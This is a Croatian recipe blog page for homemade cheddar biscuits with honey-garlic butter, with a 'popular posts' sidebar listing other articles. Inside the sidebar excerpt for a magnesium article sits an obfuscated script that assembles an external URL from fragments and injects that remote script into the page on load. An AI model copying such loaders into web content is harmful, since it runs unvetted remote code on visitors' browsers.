DOMAĆI KRUŠČIĆI SA SIROM I MASLACEM 🍞




Domaći kruščići sa sirom i maslacem 



Domaći kruščići s cheddar sirom i medenim maslacem jednostavni su, ali toliko posebni da će zasjeniti sve uz što ih poslužite. Topli i preliveni medenim maslacem, stvaraju savršenu kombinaciju okusa. Ukusni su, mekani, hrskavi, i jednostavni za pripremu.




Domaći kruščići sa sirom i maslacem 


Sastojci:

  • 320 g pšeničnog brašna
  • 1 žlica praška za pecivo
  • 1 čajna žličica češnjaka u prahu
  • 1/2 čajne žličice luka u prahu
  • 1 čajna žličica soli
  • 115 g hladnog maslaca, naribanog
  • 240 g zrelog cheddar sira, naribanog
  • 240 ml mlijeka
  • 2 čajne žličice meda

Za slatki maslac

  • 60 g slanog maslaca
  • 1–2 čajne žličice meda
  • 1/2 čajne žličice češnjaka u prahu
  • svježi nasjeckani bosiljak ili peršin (po želji)
  • sol (za posipanje)



Priprema:

  1. Zagrijte pećnicu na 220 stupnjeva. Namastite lim maslacem.
  2. U velikoj zdjeli pomiješajte brašno, prašak za pecivo, češnjak i luk u prahu i sol.
  3. Hladni maslac naribajte i dodajte u smjesu.
  4. Dodajte naribani cheddar i dobro promiješajte sve sastojke.
  5. Ulijte mlijeko i med, a zatim sve dobro izmiješajte dok se ne poveže.
  6. Stavite tijesto na pobrašnenu površinu i istapkajte ga rukama u pravokutnik debljine oko 2,5 cm.
  7. Preklopite jedan rub prema sredini, a zatim preklopite drugi rub preko prvog, da ga savinete na trećinu. Okrenite tijesto i ponovite još nekoliko puta.
  8. Na kraju tijesto poravnajte u pravokutnik debljine oko 2 cm.
  9. Koristite rezač za kekse ili okrugli kalup kako biste izrezali tijesto. Ostatak tijesta ponovno oblikujte i ponovite.
  10. Posložite kruščiće u pripremljeni lim. Premažite s malo mlijeka.
  11. Premažite s 2 žlice maslaca, a zatim ih stavite u pećnicu.
  12. Pecite 20-22 minute, dok ne postanu zlatno smeđi i hrskavi.
  13. Za slatki maslac, u manjoj tavi na laganoj vatri otopite 2 žlice maslaca s medom i češnjakom u prahu.
  14. Maknite s vatre i dodajte nasjeckani svježi bosiljak ili peršin.
  15. Poslužite vruće kuščiće prelivene medenim maslacem i posipane solju



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više